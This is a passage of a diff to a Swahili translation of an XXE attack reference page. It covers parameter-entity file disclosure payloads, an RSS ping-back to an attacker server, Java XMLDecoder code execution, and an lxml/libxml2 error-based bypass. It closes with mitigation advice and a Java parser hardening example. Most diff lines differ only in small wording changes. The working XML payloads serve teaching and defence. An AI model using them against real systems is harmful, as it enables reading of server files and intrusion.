<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
```
Hii mabadiliko husababisha uhamasishaji wa mafaili yaliyomo, kama inavyoonyeshwa katika matokeo ya kosa yaliyotumwa kupitia HTTP. Hii inaonyesha shambulio la XXE (XML External Entity) lililofanikiwa, likitumia mbinu za Out of Band na Error-Based ili kutoa taarifa nyeti.
Hii mabadiliko husababisha uhamasishaji wa mafaili yaliyomo, kama inavyoonyeshwa katika matokeo ya kosa yaliyotumwa kupitia HTTP. Hii inaashiria shambulio la XXE (XML External Entity) lililofanikiwa, likitumia mbinu za Out of Band na Error-Based ili kutoa taarifa nyeti.
## RSS - XEE
@ -547,7 +542,7 @@ XML halali yenye muundo wa RSS ili kutumia udhaifu wa XXE.
### Ping back
Ombi rahisi la HTTP kwa seva ya washambuliaji.
Omba rahisi la HTTP kwa seva ya washambuliaji.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
@ -614,7 +609,7 @@ Kutumia kichujio cha PHP base64
```
## Java XMLDecoder XEE to RCE
XMLDecoder ni darasa la Java linalounda vitu kulingana na ujumbe wa XML. Ikiwa mtumiaji mbaya anaweza kufanya programu itumie data zisizo na mpangilio katika wito wa njia **readObject**, atapata mara moja utekelezaji wa msimbo kwenye seva.
XMLDecoder ni darasa la Java linalounda vitu kulingana na ujumbe wa XML. Ikiwa mtumiaji mbaya anaweza kufanya programu kutumia data isiyo ya kawaida katika wito wa njia **readObject**, atapata mara moja utekelezaji wa msimbo kwenye seva.
### Using Runtime().exec()
```xml
@ -689,10 +684,10 @@ https://github.com/luisfontes19/xxexploiter
### Python lxml Parameter-Entity XXE (Error-Based File Disclosure)
> [!INFO]
> Maktaba ya Python **lxml** inatumia **libxml2** chini ya uso. Matoleo kabla ya **lxml 5.4.0 / libxml2 2.13.8** bado yanapanua *parameter* entities hata wakati `resolve_entities=False`, na kuwafanya waweze kufikiwa wakati programu inaruhusu `load_dtd=True` na/au `resolve_entities=True`. Hii inaruhusu Error-Based XXE payloads ambazo zinaingiza maudhui ya faili za ndani katika ujumbe wa kosa la parser.
> Maktaba ya Python **lxml** inatumia **libxml2** chini ya uso. Matoleo kabla ya **lxml 5.4.0 / libxml2 2.13.8** bado yanapanua *parameter* entities hata wakati `resolve_entities=False`, na kuwafanya waweze kufikiwa wakati programu inaruhusu `load_dtd=True` na/au `resolve_entities=True`. Hii inaruhusu payloads za Error-Based XXE ambazo zinaingiza maudhui ya faili za ndani katika ujumbe wa kosa la parser.
#### 1. Kutumia lxml < 5.4.0
1. Tambua au tengeneza *local* DTD kwenye diski inayofafanua **undefined** parameter entity (mfano `%config_hex;`).
1. Tambua au tengeneza *local* DTD kwenye diski inayofafanua **undefined** parameter entity (mfano, `%config_hex;`).
2. Tengeneza DTD ya ndani ambayo:
* Inapakia DTD ya ndani kwa `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
* Inarejelea entity isiyofafanuliwa ili:
@ -709,7 +704,7 @@ https://github.com/luisfontes19/xxexploiter
%local_dtd;
]>
```
Wakati programu inachapisha hitilafu, jibu linaweza kuwa:
Wakati programu inachapisha hitilafu, jibu linaweza kuwa na:
```
Error : failed to load external entity "file:///aaa/FLAG{secret}"
```
@ -717,10 +712,10 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
> Ikiwa parser inalamika kuhusu wahusika `%`/`&` ndani ya sehemu ya ndani, waweke kwa njia mbili (`&#x26;#x25;``%`) ili kuchelewesha upanuzi.
#### 2. Kupita kwenye lxml 5.4.0 kuimarishwa (libxml2 bado ina udhaifu)
`lxml` ≥ 5.4.0 inakataza *makosa* ya vigezo kama ile iliyotajwa hapo juu, lakini **libxml2** bado inaruhusu kuingizwa katika *kigezo* cha *jumla*. Njia ni:
1. Soma faili ndani ya kigezo cha `%file`.
2. Tangaza kigezo kingine ambacho kinajenga kigezo **jumla** `c` ambacho kitambulisho chake cha SYSTEM kinatumia *protokali isiyo na uwepo* kama `meow://%file;`.
3. Weka `&c;` katika mwili wa XML. Wakati parser inajaribu kutafsiri `meow://…` inashindwa na kuonyesha URI kamili ikiwa ni pamoja na maudhui ya faili katika ujumbe wa kosa.
`lxml` ≥ 5.4.0 inakataza *makosa* ya vigezo kama ile iliyotajwa hapo juu, lakini **libxml2** bado inaruhusu kuingizwa katika *kigezo* cha **jumla**. Njia ni:
1. Soma faili ndani ya kigezo `%file`.
2. Tangaza kigezo kingine ambacho kinajenga kigezo **jumla** `c` ambacho kitambulisho cha SYSTEM kinatumia *protokali isiyo na uwepo* kama `meow://%file;`.
3. Weka `&c;` katika mwili wa XML. Wakati parser inajaribu kutafsiri `meow://…` inashindwa na inarejelea URI kamili ikiwa ni pamoja na maudhui ya faili katika ujumbe wa kosa.
```xml
<!DOCTYPE colors [
<!ENTITY % a '
@ -732,17 +727,50 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
<colors>&c;</colors>
```
#### Key takeaways
* **Parameter entities** bado zinaongezwa na libxml2 hata wakati `resolve_entities` inapaswa kuzuia XXE.
* **URI isiyo sahihi** au **faili isiyopo** inatosha kuunganisha data iliyodhibitiwa katika kosa lililotupwa.
* **Parameter entities** bado zinapanuliwa na libxml2 hata wakati `resolve_entities` inapaswa kuzuia XXE.
* **URI isiyo sahihi** au **faili isiyopo** inatosha kuunganisha data iliyodhibitiwa katika ubaguzi uliofanywa.
* Mbinu hii inafanya kazi **bila muunganisho wa nje**, na kuifanya kuwa bora kwa mazingira yaliyofungwa kwa uhamisho.
#### Mitigation guidance
* Pandisha toleo la **lxml ≥ 5.4.0** na hakikisha **libxml2** ya msingi ni **≥ 2.13.8**.
* Pandisha hadi **lxml ≥ 5.4.0** na hakikisha **libxml2** ya msingi ni **≥ 2.13.8**.
* Zima `load_dtd` na/au `resolve_entities` isipokuwa inahitajika kabisa.
* Epuka kurudisha makosa ya parser yasiyo safishwa kwa mteja.
* Epuka kurudisha makosa ya parser yasiyo na kuchakatwa kwa mteja.
### Java DocumentBuilderFactory hardening example
Programu za Java mara nyingi huchambua XML kwa kutumia `DocumentBuilderFactory`. Kwa kawaida kiwanda **kinaruhusu ufumbuzi wa vitu vya nje**, na kuifanya kuwa hatarini kwa XXE na SSRF ikiwa hakuna bendera za ziada za kuimarisha zilizowekwa:
```java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
```
Mfano wa usanidi salama:
```java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// Completely forbid any DOCTYPE declarations (best-effort defence)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// Disable expansion of external entities
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// Enable "secure processing" which applies additional limits
dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);
// Defensive extras
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder builder = dbf.newDocumentBuilder();
```
Ikiwa programu inapaswa kusaidia DTDs ndani, weka `disallow-doctype-decl` ikiwa imezimwa lakini **daima** acha vipengele viwili vya `external-*-entities` vikiwa vimewekwa kwenye `false`. Mchanganyiko huu unazuia payloads za kawaida za ufichuzi wa faili (`file:///etc/passwd`) pamoja na vectors za SSRF zinazotegemea mtandao (`http://169.254.169.254/…`, protokali ya `jar:`, nk.).
Utafiti wa kesi halisi: **CVE-2025-27136** katika emulator ya Java S3 *LocalS3* ilitumia mjenzi dhaifu ulioonyeshwa hapo juu. Mshambuliaji asiye na uthibitisho angeweza kutoa mwili wa XML ulioandaliwa kwa ajili ya kiunganishi cha `CreateBucketConfiguration` na kufanya seva kuingiza faili za ndani (kwa mfano `/etc/passwd`) katika jibu la HTTP.
## References
- [OffSec Blog CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/)
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
- Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)